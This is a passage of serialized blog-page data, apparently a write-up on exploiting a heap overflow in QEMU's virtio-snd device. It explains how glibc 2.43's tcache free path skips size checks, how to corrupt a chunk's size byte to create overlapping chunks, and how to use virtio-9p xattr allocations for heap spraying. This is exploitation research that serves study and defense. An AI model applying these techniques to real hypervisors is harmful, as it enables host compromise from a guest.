mp_",{"type":26,"tag":217,"props":38172,"children":38173},{"style":7048},[38174],{"type":32,"value":180},{"type":26,"tag":217,"props":38176,"children":38177},{"style":7054},[38178],{"type":32,"value":38179},"tcache_max_bytes",{"type":26,"tag":217,"props":38181,"children":38182},{"style":7048},[38183],{"type":32,"value":18548},{"type":26,"tag":217,"props":38185,"children":38186},{"class":7028,"line":7672},[38187],{"type":26,"tag":217,"props":38188,"children":38189},{"style":7048},[38190],{"type":32,"value":37334},{"type":26,"tag":217,"props":38192,"children":38193},{"class":7028,"line":7681},[38194],{"type":26,"tag":217,"props":38195,"children":38196},{"style":7048},[38197],{"type":32,"value":15943},{"type":26,"tag":217,"props":38199,"children":38200},{"class":7028,"line":7754},[38201],{"type":26,"tag":217,"props":38202,"children":38203},{"emptyLinePlaceholder":17},[38204],{"type":32,"value":7817},{"type":26,"tag":217,"props":38206,"children":38207},{"class":7028,"line":7784},[38208,38213,38218],{"type":26,"tag":217,"props":38209,"children":38210},{"style":7042},[38211],{"type":32,"value":38212},"      return",{"type":26,"tag":217,"props":38214,"children":38215},{"style":7064},[38216],{"type":32,"value":38217}," tcache_put",{"type":26,"tag":217,"props":38219,"children":38220},{"style":7048},[38221],{"type":32,"value":38222}," (p, tc_idx);\n",{"type":26,"tag":217,"props":38224,"children":38225},{"class":7028,"line":7802},[38226],{"type":26,"tag":217,"props":38227,"children":38228},{"style":7048},[38229],{"type":32,"value":9754},{"type":26,"tag":39,"props":38231,"children":38232},{},[38233,38235,38240],{"type":32,"value":38234},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":26,"tag":83,"props":38236,"children":38238},{"className":38237},[],[38239],{"type":32,"value":12431},{"type":32,"value":38241}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":26,"tag":39,"props":38243,"children":38244},{},[38245,38247,38253,38254,38259],{"type":32,"value":38246},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":26,"tag":83,"props":38248,"children":38250},{"className":38249},[],[38251],{"type":32,"value":38252},"check_inuse_chunk",{"type":32,"value":7051},{"type":26,"tag":83,"props":38255,"children":38257},{"className":38256},[],[38258],{"type":32,"value":35132},{"type":32,"value":16833},{"type":26,"tag":207,"props":38261,"children":38263},{"code":38262,"language":2255,"meta":8,"className":9574,"style":8},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[38264],{"type":26,"tag":83,"props":38265,"children":38266},{"__ignoreMap":8},[38267,38274,38301,38308,38315,38322,38341,38348,38367,38374,38401,38424,38431,38457,38464,38475,38532],{"type":26,"tag":217,"props":38268,"children":38269},{"class":7028,"line":7029},[38270],{"type":26,"tag":217,"props":38271,"children":38272},{"style":7154},[38273],{"type":32,"value":37968},{"type":26,"tag":217,"props":38275,"children":38276},{"class":7028,"line":6770},[38277,38281,38285,38289,38293,38297],{"type":26,"tag":217,"props":38278,"children":38279},{"style":7064},[38280],{"type":32,"value":37231},{"type":26,"tag":217,"props":38282,"children":38283},{"style":7048},[38284],{"type":32,"value":7051},{"type":26,"tag":217,"props":38286,"children":38287},{"style":7154},[38288],{"type":32,"value":35543},{"type":26,"tag":217,"props":38290,"children":38291},{"style":7149},[38292],{"type":32,"value":9690},{"type":26,"tag":217,"props":38294,"children":38295},{"style":7054},[38296],{"type":32,"value":37248},{"type":26,"tag":217,"props":38298,"children":38299},{"style":7048},[38300],{"type":32,"value":10025},{"type":26,"tag":217,"props":38302,"children":38303},{"class":7028,"line":6779},[38304],{"type":26,"tag":217,"props":38305,"children":38306},{"style":7048},[38307],{"type":32,"value":10033},{"type":26,"tag":217,"props":38309,"children":38310},{"class":7028,"line":7140},[38311],{"type":26,"tag":217,"props":38312,"children":38313},{"style":7048},[38314],{"type":32,"value":37275},{"type":26,"tag":217,"props":38316,"children":38317},{"class":7028,"line":7165},[38318],{"type":26,"tag":217,"props":38319,"children":38320},{"emptyLinePlaceholder":17},[38321],{"type":32,"value":7817},{"type":26,"tag":217,"props":38323,"children":38324},{"class":7028,"line":7178},[38325,38329,38333,38337],{"type":26,"tag":217,"props":38326,"children":38327},{"style":7048},[38328],{"type":32,"value":37290},{"type":26,"tag":217,"props":38330,"children":38331},{"style":7149},[38332],{"type":32,"value":267},{"type":26,"tag":217,"props":38334,"children":38335},{"style":7064},[38336],{"type":32,"value":37299},{"type":26,"tag":217,"props":38338,"children":38339},{"style":7048},[38340],{"type":32,"value":37304},{"type":26,"tag":217,"props":38342,"children":38343},{"class":7028,"line":7389},[38344],{"type":26,"tag":217,"props":38345,"children":38346},{"emptyLinePlaceholder":17},[38347],{"type":32,"value":7817},{"type":26,"tag":217,"props":38349,"children":38350},{"class":7028,"line":7406},[38351,38355,38359,38363],{"type":26,"tag":217,"props":38352,"children":38353},{"style":7048},[38354],{"type":32,"value":38050},{"type":26,"tag":217,"props":38356,"children":38357},{"style":7149},[38358],{"type":32,"value":267},{"type":26,"tag":217,"props":38360,"children":38361},{"style":7064},[38362],{"type":32,"value":37628},{"type":26,"tag":217,"props":38364,"children":38365},{"style":7048},[38366],{"type":32,"value":37347},{"type":26,"tag":217,"props":38368,"children":38369},{"class":7028,"line":7439},[38370],{"type":26,"tag":217,"props":38371,"children":38372},{"emptyLinePlaceholder":17},[38373],{"type":32,"value":7817},{"type":26,"tag":217,"props":38375,"children":38376},{"class":7028,"line":7487},[38377,38381,38385,38389,38393,38397],{"type":26,"tag":217,"props":38378,"children":38379},{"style":7042},[38380],{"type":32,"value":37312},{"type":26,"tag":217,"props":38382,"children":38383},{"style":7048},[38384],{"type":32,"value":7051},{"type":26,"tag":217,"props":38386,"children":38387},{"style":7064},[38388],{"type":32,"value":37823},{"type":26,"tag":217,"props":38390,"children":38391},{"style":7048},[38392],{"type":32,"value":7051},{"type":26,"tag":217,"props":38394,"children":38395},{"style":7064},[38396],{"type":32,"value":37757},{"type":26,"tag":217,"props":38398,"children":38399},{"style":7048},[38400],{"type":32,"value":38097},{"type":26,"tag":217,"props":38402,"children":38403},{"class":7028,"line":7524},[38404,38408,38412,38416,38420],{"type":26,"tag":217,"props":38405,"children":38406},{"style":7042},[38407],{"type":32,"value":7171},{"type":26,"tag":217,"props":38409,"children":38410},{"style":7064},[38411],{"type":32,"value":38109},{"type":26,"tag":217,"props":38413,"children":38414},{"style":7048},[38415],{"type":32,"value":7051},{"type":26,"tag":217,"props":38417,"children":38418},{"style":7338},[38419],{"type":32,"value":37787},{"type":26,"tag":217,"props":38421,"children":38422},{"style":7048},[38423],{"type":32,"value":7669},{"type":26,"tag":217,"props":38425,"children":38426},{"class":7028,"line":7553},[38427],{"type":26,"tag":217,"props":38428,"children":38429},{"emptyLinePlaceholder":17},[38430],{"type":32,"value":7817},{"type":26,"tag":217,"props":38432,"children":38433},{"class":7028,"line":7570},[38434,38438,38442,38447,38452],{"type":26,"tag":217,"props":38435,"children":38436},{"style":7064},[38437],{"type":32,"value":37891},{"type":26,"tag":217,"props":38439,"children":38440},{"style":7048},[38441],{"type":32,"value":7051},{"type":26,"tag":217,"props":38443,"children":38444},{"style":7064},[38445],{"type":32,"value":38446},"arena_for_chunk",{"type":26,"tag":217,"props":38448,"children":38449},{"style":7048},[38450],{"type":32,"value":38451}," (p), p);",{"type":26,"tag":217,"props":38453,"children":38454},{"style":7033},[38455],{"type":32,"value":38456},"             // [1]\n",{"type":26,"tag":217,"props":38458,"children":38459},{"class":7028,"line":7621},[38460],{"type":26,"tag":217,"props":38461,"children":38462},{"emptyLinePlaceholder":17},[38463],{"type":32,"value":7817},{"type":26,"tag":217,"props":38465,"children":38466},{"class":7028,"line":7672},[38467,38471],{"type":26,"tag":217,"props":38468,"children":38469},{"style":7042},[38470],{"type":32,"value":38136},{"type":26,"tag":217,"props":38472,"children":38473},{"style":7064},[38474],{"type":32,"value":38141},{"type":26,"tag":217,"props":38476,"children":38477},{"class":7028,"line":7681},[38478,38482,38486,38490,38494,38498,38502,38506,38510,38515,38520,38524,38528],{"type":26,"tag":217,"props":38479,"children":38480},{"style":7042},[38481],{"type":32,"value":37312},{"type":26,"tag":217,"props":38483,"children":38484},{"style":7048},[38485],{"type":32,"value":7051},{"type":26,"tag":217,"props":38487,"children":38488},{"style":7064},[38489],{"type":32,"value":38157},{"type":26,"tag":217,"props":38491,"children":38492},{"style":7048},[38493],{"type":32,"value":37828},{"type":26,"tag":217,"props":38495,"children":38496},{"style":7149},[38497],{"type":32,"value":7289},{"type":26,"tag":217,"props":38499,"children":38500},{"style":7054},[38501],{"type":32,"value":38170},{"type":26,"tag":217,"props":38503,"children":38504},{"style":7048},[38505],{"type":32,"value":180},{"type":26,"tag":217,"props":38507,"children":38508},{"style":7054},[38509],{"type":32,"value":38179},{"type":26,"tag":217,"props":38511,"children":38512},{"style":7149},[38513],{"type":32,"value":38514}," &&",{"type":26,"tag":217,"props":38516,"children":38517},{"style":7048},[38518],{"type":32,"value":38519}," tcache ",{"type":26,"tag":217,"props":38521,"children":38522},{"style":7149},[38523],{"type":32,"value":9720},{"type":26,"tag":217,"props":38525,"children":38526},{"style":7154},[38527],{"type":32,"value":9856},{"type":26,"tag":217,"props":38529,"children":38530},{"style":7048},[38531],{"type":32,"value":18548},{"type":26,"tag":217,"props":38533,"children":38534},{"class":7028,"line":7754},[38535],{"type":26,"tag":217,"props":38536,"children":38537},{"style":7048},[38538],{"type":32,"value":33157},{"type":26,"tag":39,"props":38540,"children":38541},{},[38542,38544,38549],{"type":32,"value":38543},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":26,"tag":83,"props":38545,"children":38547},{"className":38546},[],[38548],{"type":32,"value":12431},{"type":32,"value":38550},", because on the latest 2.43 glibc they are non-existent.",{"type":26,"tag":11933,"props":38552,"children":38553},{},[],{"type":26,"tag":39,"props":38555,"children":38556},{},[38557,38559,38564,38566,38571,38573,38578,38580,38586],{"type":32,"value":38558},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":26,"tag":83,"props":38560,"children":38562},{"className":38561},[],[38563],{"type":32,"value":12431},{"type":32,"value":38565}," field was initially ",{"type":26,"tag":83,"props":38567,"children":38569},{"className":38568},[],[38570],{"type":32,"value":14243},{"type":32,"value":38572},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":26,"tag":83,"props":38574,"children":38576},{"className":38575},[],[38577],{"type":32,"value":14435},{"type":32,"value":38579},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":26,"tag":83,"props":38581,"children":38583},{"className":38582},[],[38584],{"type":32,"value":38585},"[0x210, 0x2f0]",{"type":32,"value":38587},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":26,"tag":39,"props":38589,"children":38590},{},[38591],{"type":32,"value":38592},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":26,"tag":607,"props":38594,"children":38596},{"id":38595},"heap-spraying",[38597],{"type":32,"value":38598},"Heap Spraying",{"type":26,"tag":39,"props":38600,"children":38601},{},[38602,38604,38609],{"type":32,"value":38603},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":26,"tag":83,"props":38605,"children":38607},{"className":38606},[],[38608],{"type":32,"value":14243},{"type":32,"value":38610},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":26,"tag":39,"props":38612,"children":38613},{},[38614,38616,38621],{"type":32,"value":38615},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":26,"tag":83,"props":38617,"children":38619},{"className":38618},[],[38620],{"type":32,"value":35198},{"type":32,"value":38622}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":26,"tag":39,"props":38624,"children":38625},{},[38626],{"type":32,"value":38627},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":26,"tag":631,"props":38629,"children":38631},{"id":38630},"virtio-9p",[38632],{"type":32,"value":38630},{"type":26,"tag":39,"props":38634,"children":38635},{},[38636,38641],{"type":26,"tag":83,"props":38637,"children":38639},{"className":38638},[],[38640],{"type":32,"value":38630},{"type":32,"value":38642}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":26,"tag":39,"props":38644,"children":38645},{},[38646,38648,38654,38656,38662,38663,38669,38671,38676],{"type":32,"value":38647},"Through a ",{"type":26,"tag":83,"props":38649,"children":38651},{"className":38650},[],[38652],{"type":32,"value":38653},"P9_TXATTRCREATE",{"type":32,"value":38655}," request, we can allocate host-side buffers for both the ",{"type":26,"tag":83,"props":38657,"children":38659},{"className":38658},[],[38660],{"type":32,"value":38661},".name",{"type":32,"value":1308},{"type":26,"tag":83,"props":38664,"children":38666},{"className":38665},[],[38667],{"type":32,"value":38668},".value",{"type":32,"value":38670}," fields, with the size of ",{"type":26,"tag":83,"props":38672,"children":38674},{"className":38673},[],[38675],{"type":32,"value":38668},{"type":32,"value":38677}," being directly controlled by the guest.",{"type":26,"tag":207,"props":38679,"children":38681},{"code":38680,"language":2255,"meta":8,"className":9574,"style":8},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[38682],{"type":26,"tag":83,"props":38683,"children":38684},{"__ignoreMap":8},[38685,38727,38734,38758,38771,38782,38807,38815,38840,38857,38873,38899,38906,38927,38993,39017,39030,39037,39044,39051,39058,39078,39099,39110,39117,39124,39131,39138,39189,39245,39290],{"type":26,"tag":217,"props":38686,"children":38687},{"class":7028,"line":7029},[38688,38692,38696,38701,38706,38710,38714,38718,38723],{"type":26,"tag":217,"props":38689,"children":38690},{"style":7154},[38691],{"type":32,"value":9987},{"type":26,"tag":217,"props":38693,"children":38694},{"style":7154},[38695],{"type":32,"value":8936},{"type":26,"tag":217,"props":38697,"children":38698},{"style":7048},[38699],{"type":32,"value":38700}," coroutine_fn ",{"type":26,"tag":217,"props":38702,"children":38703},{"style":7064},[38704],{"type":32,"value":38705},"v9fs_xattrcreate",{"type":26,"tag":217,"props":38707,"children":38708},{"style":7048},[38709],{"type":32,"value":1851},{"type":26,"tag":217,"props":38711,"children":38712},{"style":7154},[38713],{"type":32,"value":35543},{"type":26,"tag":217,"props":38715,"children":38716},{"style":7149},[38717],{"type":32,"value":9690},{"type":26,"tag":217,"props":38719,"children":38720},{"style":7054},[38721],{"type":32,"value":38722},"opaque",{"type":26,"tag":217,"props":38724,"children":38725},{"style":7048},[38726],{"type":32,"value":10025},{"type":26,"tag":217,"props":38728,"children":38729},{"class":7028,"line":6770},[38730],{"type":26,"tag":217,"props":38731,"children":38732},{"style":7048},[38733],{"type":32,"value":10033},{"type":26,"tag":217,"props":38735,"children":38736},{"class":7028,"line":6779},[38737,38741,38746,38750,38754],{"type":26,"tag":217,"props":38738,"children":38739},{"style":7154},[38740],{"type":32,"value":9667},{"type":26,"tag":217,"props":38742,"children":38743},{"style":7048},[38744],{"type":32,"value":38745}," flags, rflags ",{"type":26,"tag":217,"props":38747,"children":38748},{"style":7149},[38749],{"type":32,"value":267},{"type":26,"tag":217,"props":38751,"children":38752},{"style":7130},[38753],{"type":32,"value":9922},{"type":26,"tag":217,"props":38755,"children":38756},{"style":7048},[38757],{"type":32,"value":7162},{"type":26,"tag":217,"props":38759,"children":38760},{"class":7028,"line":7140},[38761,38766],{"type":26,"tag":217,"props":38762,"children":38763},{"style":7154},[38764],{"type":32,"value":38765},"    int32_t",{"type":26,"tag":217,"props":38767,"children":38768},{"style":7048},[38769],{"type":32,"value":38770}," fid;\n",{"type":26,"tag":217,"props":38772,"children":38773},{"class":7028,"line":7165},[38774,38778],{"type":26,"tag":217,"props":38775,"children":38776},{"style":7154},[38777],{"type":32,"value":35352},{"type":26,"tag":217,"props":38779,"children":38780},{"style":7048},[38781],{"type":32,"value":12311},{"type":26,"tag":217,"props":38783,"children":38784},{"class":7028,"line":7178},[38785,38790,38795,38799,38803],{"type":26,"tag":217,"props":38786,"children":38787},{"style":7154},[38788],{"type":32,"value":38789},"    ssize_t",{"type":26,"tag":217,"props":38791,"children":38792},{"style":7048},[38793],{"type":32,"value":38794}," err ",{"type":26,"tag":217,"props":38796,"children":38797},{"style":7149},[38798],{"type":32,"value":267},{"type":26,"tag":217,"props":38800,"children":38801},{"style":7130},[38802],{"type":32,"value":9922},{"type":26,"tag":217,"props":38804,"children":38805},{"style":7048},[38806],{"type":32,"value":7162},{"type":26,"tag":217,"props":38808,"children":38809},{"class":7028,"line":7389},[38810],{"type":26,"tag":217,"props":38811,"children":38812},{"style":7048},[38813],{"type":32,"value":38814},"    V9fsString name;\n",{"type":26,"tag":217,"props":38816,"children":38817},{"class":7028,"line":7406},[38818,38822,38827,38831,38836],{"type":26,"tag":217,"props":38819,"children":38820},{"style":7154},[38821],{"type":32,"value":12306},{"type":26,"tag":217,"props":38823,"children":38824},{"style":7048},[38825],{"type":32,"value":38826}," offset ",{"type":26,"tag":217,"props":38828,"children":38829},{"style":7149},[38830],{"type":32,"value":267},{"type":26,"tag":217,"props":38832,"children":38833},{"style":7130},[38834],{"type":32,"value":38835}," 7",{"type":26,"tag":217,"props":38837,"children":38838},{"style":7048},[38839],{"type":32,"value":7162},{"type":26,"tag":217,"props":38841,"children":38842},{"class":7028,"line":7439},[38843,38848,38852],{"type":26,"tag":217,"props":38844,"children":38845},{"style":7048},[38846],{"type":32,"value":38847},"    V9fsFidState ",{"type":26,"tag":217,"props":38849,"children":38850},{"style":7149},[38851],{"type":32,"value":10006},{"type":26,"tag":217,"props":38853,"children":38854},{"style":7048},[38855],{"type":32,"value":38856},"file_fidp;\n",{"type":26,"tag":217,"props":38858,"children":38859},{"class":7028,"line":7487},[38860,38864,38868],{"type":26,"tag":217,"props":38861,"children":38862},{"style":7048},[38863],{"type":32,"value":38847},{"type":26,"tag":217,"props":38865,"children":38866},{"style":7149},[38867],{"type":32,"value":10006},{"type":26,"tag":217,"props":38869,"children":38870},{"style":7048},[38871],{"type":32,"value":38872},"xattr_fidp;\n",{"type":26,"tag":217,"props":38874,"children":38875},{"class":7028,"line":7524},[38876,38881,38885,38890,38894],{"type":26,"tag":217,"props":38877,"children":38878},{"style":7048},[38879],{"type":32,"value":38880},"    V9fsPDU ",{"type":26,"tag":217,"props":38882,"children":38883},{"style":7149},[38884],{"type":32,"value":10006},{"type":26,"tag":217,"props":38886,"children":38887},{"style":7048},[38888],{"type":32,"value":38889},"pdu ",{"type":26,"tag":217,"props":38891,"children":38892},{"style":7149},[38893],{"type":32,"value":267},{"type":26,"tag":217,"props":38895,"children":38896},{"style":7048},[38897],{"type":32,"value":38898}," opaque;\n",{"type":26,"tag":217,"props":38900,"children":38901},{"class":7028,"line":7553},[38902],{"type":26,"tag":217,"props":38903,"children":38904},{"emptyLinePlaceholder":17},[38905],{"type":32,"value":7817},{"type":26,"tag":217,"props":38907,"children":38908},{"class":7028,"line":7570},[38909,38914,38918,38922],{"type":26,"tag":217,"props":38910,"children":38911},{"style":7064},[38912],{"type":32,"value":38913},"    v9fs_string_init",{"type":26,"tag":217,"props":38915,"children":38916},{"style":7048},[38917],{"type":32,"value":1851},{"type":26,"tag":217,"props":38919,"children":38920},{"style":7149},[38921],{"type":32,"value":9804},{"type":26,"tag":217,"props":38923,"children":38924},{"style":7048},[38925],{"type":32,"value":38926},"name);\n",{"type":26,"tag":217,"props":38928,"children":38929},{"class":7028,"line":7621},[38930,38935,38939,38944,38949,38954,38958,38962,38967,38971,38976,38980,38984,38988],{"type":26,"tag":217,"props":38931,"children":38932},{"style":7048},[38933],{"type":32,"value":38934},"    err ",{"type":26,"tag":217,"props":38936,"children":38937},{"style":7149},[38938],{"type":32,"value":267},{"type":26,"tag":217,"props":38940,"children":38941},{"style":7064},[38942],{"type":32,"value":38943}," pdu_unmarshal",{"type":26,"tag":217,"props":38945,"children":38946},{"style":7048},[38947],{"type":32,"value":38948},"(pdu, offset, ",{"type":26,"tag":217,"props":38950,"children":38951},{"style":7338},[38952],{"type":32,"value":38953},"\"dsqd\"",{"type":26,"tag":217,"props":38955,"children":38956},{"style":7048},[38957],{"type":32,"value":7599},{"type":26,"tag":217,"props":38959,"children":38960},{"style":7149},[38961],{"type":32,"value":9804},{"type":26,"tag":217,"props":38963,"children":38964},{"style":7048},[38965],{"type":32,"value":38966},"fid, ",{"type":26,"tag":217,"props":38968,"children":38969},{"style":7149},[38970],{"type":32,"value":9804},{"type":26,"tag":217,"props":38972,"children":38973},{"style":7048},[38974],{"type":32,"value":38975},"name, ",{"type":26,"tag":217,"props":38977,"children":38978},{"style":7149},[38979],{"type":32,"value":9804},{"type":26,"tag":217,"props":38981,"children":38982},{"style":7048},[38983],{"type":32,"value":37727},{"type":26,"tag":217,"props":38985,"children":38986},{"style":7149},[38987],{"type":32,"value":9804},{"type":26,"tag":217,"props":38989,"children":38990},{"style":7048},[38991],{"type":32,"value":38992},"flags);\n",{"type":26,"tag":217,"props":38994,"children":38995},{"class":7028,"line":7672},[38996,39000,39005,39009,39013],{"type":26,"tag":217,"props":38997,"children":38998},{"style":7042},[38999],{"type":32,"value":9710},{"type":26,"tag":217,"props":39001,"children":39002},{"style":7048},[39003],{"type":32,"value":39004}," (err ",{"type":26,"tag":217,"props":39006,"children":39007},{"style":7149},[39008],{"type":32,"value":7289},{"type":26,"tag":217,"props":39010,"children":39011},{"style":7130},[39012],{"type":32,"value":9922},{"type":26,"tag":217,"props":39014,"children":39015},{"style":7048},[39016],{"type":32,"value":7618},{"type":26,"tag":217,"props":39018,"children":39019},{"class":7028,"line":7681},[39020,39025],{"type":26,"tag":217,"props":39021,"children":39022},{"style":7042},[39023],{"type":32,"value":39024},"        goto",{"type":26,"tag":217,"props":39026,"children":39027},{"style":7048},[39028],{"type":32,"value":39029}," out_nofid;\n",{"type":26,"tag":217,"props":39031,"children":39032},{"class":7028,"line":7754},[39033],{"type":26,"tag":217,"props":39034,"children":39035},{"style":7048},[39036],{"type":32,"value":9754},{"type":26,"tag":217,"props":39038,"children":39039},{"class":7028,"line":7784},[39040],{"type":26,"tag":217,"props":39041,"children":39042},{"emptyLinePlaceholder":17},[39043],{"type":32,"value":7817},{"type":26,"tag":217,"props":39045,"children":39046},{"class":7028,"line":7802},[39047],{"type":26,"tag":217,"props":39048,"children":39049},{"style":7048},[39050],{"type":32,"value":34647},{"type":26,"tag":217,"props":39052,"children":39053},{"class":7028,"line":7811},[39054],{"type":26,"tag":217,"props":39055,"children":39056},{"emptyLinePlaceholder":17},[39057],{"type":32,"value":7817},{"type":26,"tag":217,"props":39059,"children":39060},{"class":7028,"line":7820},[39061,39065,39069,39073],{"type":26,"tag":217,"props":39062,"children":39063},{"style":7042},[39064],{"type":32,"value":9710},{"type":26,"tag":217,"props":39066,"children":39067},{"style":7048},[39068],{"type":32,"value":37828},{"type":26,"tag":217,"props":39070,"children":39071},{"style":7149},[39072],{"type":32,"value":5903},{"type":26,"tag":217,"props":39074,"children":39075},{"style":7048},[39076],{"type":32,"value":39077}," P9_XATTR_SIZE_MAX) {\n",{"type":26,"tag":217,"props":39079,"children":39080},{"class":7028,"line":7844},[39081,39086,39090,39094],{"type":26,"tag":217,"props":39082,"children":39083},{"style":7048},[39084],{"type":32,"value":39085},"        err ",{"type":26,"tag":217,"props":39087,"children":39088},{"style":7149},[39089],{"type":32,"value":267},{"type":26,"tag":217,"props":39091,"children":39092},{"style":7149},[39093],{"type":32,"value":12618},{"type":26,"tag":217,"props":39095,"children":39096},{"style":7048},[39097],{"type":32,"value":39098},"E2BIG;\n",{"type":26,"tag":217,"props":39100,"children":39101},{"class":7028,"line":7910},[39102,39106],{"type":26,"tag":217,"props":39103,"children":39104},{"style":7042},[39105],{"type":32,"value":39024},{"type":26,"tag":217,"props":39107,"children":39108},{"style":7048},[39109],{"type":32,"value":39029},{"type":26,"tag":217,"props":39111,"children":39112},{"class":7028,"line":7954},[39113],{"type":26,"tag":217,"props":39114,"children":39115},{"style":7048},[39116],{"type":32,"value":9754},{"type":26,"tag":217,"props":39118,"children":39119},{"class":7028,"line":7985},[39120],{"type":26,"tag":217,"props":39121,"children":39122},{"emptyLinePlaceholder":17},[39123],{"type":32,"value":7817},{"type":26,"tag":217,"props":39125,"children":39126},{"class":7028,"line":8027},[39127],{"type":26,"tag":217,"props":39128,"children":39129},{"style":7048},[39130],{"type":32,"value":34647},{"type":26,"tag":217,"props":39132,"children":39133},{"class":7028,"line":8035},[39134],{"type":26,"tag":217,"props":39135,"children":39136},{"emptyLinePlaceholder":17},[39137],{"type":32,"value":7817},{"type":26,"tag":217,"props":39139,"children":39140},{"class":7028,"line":8067},[39141,39145,39149,39153,39158,39162,39167,39171,39176,39180,39185],{"type":26,"tag":217,"props":39142,"children":39143},{"style":7064},[39144],{"type":32,"value":38913},{"type":26,"tag":217,"props":39146,"children":39147},{"style":7048},[39148],{"type":32,"value":1851},{"type":26,"tag":217,"props":39150,"children":39151},{"style":7149},[39152],{"type":32,"value":9804},{"type":26,"tag":217,"props":39154,"children":39155},{"style":7054},[39156],{"type":32,"value":39157},"xattr_fidp",{"type":26,"tag":217,"props":39159,"children":39160},{"style":7048},[39161],{"type":32,"value":10115},{"type":26,"tag":217,"props":39163,"children":39164},{"style":7054},[39165],{"type":32,"value":39166},"fs",{"type":26,"tag":217,"props":39168,"children":39169},{"style":7048},[39170],{"type":32,"value":180},{"type":26,"tag":217,"props":39172,"children":39173},{"style":7054},[39174],{"type":32,"value":39175},"xattr",{"type":26,"tag":217,"props":39177,"children":39178},{"style":7048},[39179],{"type":32,"value":180},{"type":26,"tag":217,"props":39181,"children":39182},{"style":7054},[39183],{"type":32,"value":39184},"name",{"type":26,"tag":217,"props":39186,"children":39187},{"style":7048},[39188],{"type":32,"value":7669},{"type":26,"tag":217,"props":39190,"children":39191},{"class":7028,"line":8107},[39192,39197,39201,39205,39209,39213,39217,39221,39225,39229,39233,39237,39241],{"type":26,"tag":217,"props":39193,"children":39194},{"style":7064},[39195],{"type":32,"value":39196},"    v9fs_string_copy",{"type":26,"tag":217,"props":39198,"children":39199},{"style":7048},[39200],{"type":32,"value":1851},{"type":26,"tag":217,"props":39202,"children":39203},{"style":7149},[39204],{"type":32,"value":9804},{"type":26,"tag":217,"props":39206,"children":39207},{"style":7054},[39208],{"type":32,"value":39157},{"type":26,"tag":217,"props":39210,"children":39211},{"style":7048},[39212],{"type":32,"value":10115},{"type":26,"tag":217,"props":39214,"children":39215},{"style":7054},[39216],{"type":32,"value":39166},{"type":26,"tag":217,"props":39218,"children":39219},{"style":7048},[39220],{"type":32,"value":180},{"type":26,"tag":217,"props":39222,"children":39223},{"style":7054},[39224],{"type":32,"value":39175},{"type":26,"tag":217,"props":39226,"children":39227},{"style":7048},[39228],{"type":32,"value":180},{"type":26,"tag":217,"props":39230,"children":39231},{"style":7054},[39232],{"type":32,"value":39184},{"type":26,"tag":217,"props":39234,"children":39235},{"style":7048},[39236],{"type":32,"value":7599},{"type":26,"tag":217,"props":39238,"children":39239},{"style":7149},[39240],{"type":32,"value":9804},{"type":26,"tag":217,"props":39242,"children":39243},{"style":7048},[39244],{"type":32,"value":38926},{"type":26,"tag":217,"props":39246,"children":39247},{"class":7028,"line":8145},[39248,39253,39257,39261,39265,39269,39273,39277,39281,39285],{"type":26,"tag":217,"props":39249,"children":39250},{"style":7054},[39251],{"type":32,"value":39252},"    xattr_fidp",{"type":26,"tag":217,"props":39254,"children":39255},{"style":7048},[39256],{"type":32,"value":10115},{"type":26,"tag":217,"props":39258,"children":39259},{"style":7054},[39260],{"type":32,"value":39166},{"type":26,"tag":217,"props":39262,"children":39263},{"style":7048},[39264],{"type":32,"value":180},{"type":26,"tag":217,"props":39266,"children":39267},{"style":7054},[39268],{"type":32,"value":39175},{"type":26,"tag":217,"props":39270,"children":39271},{"style":7048},[39272],{"type":32,"value":180},{"type":26,"tag":217,"props":39274,"children":39275},{"style":7054},[39276],{"type":32,"value":15127},{"type":26,"tag":217,"props":39278,"children":39279},{"style":7149},[39280],{"type":32,"value":8993},{"type":26,"tag":217,"props":39282,"children":39283},{"style":7064},[39284],{"type":32,"value":34916},{"type":26,"tag":217,"props":39286,"children":39287},{"style":7048},[39288],{"type":32,"value":39289},"(size);\n",{"type":26,"tag":217,"props":39291,"children":39292},{"class":7028,"line":8154},[39293],{"type":26,"tag":217,"props":39294,"children":39295},{"style":7048},[39296]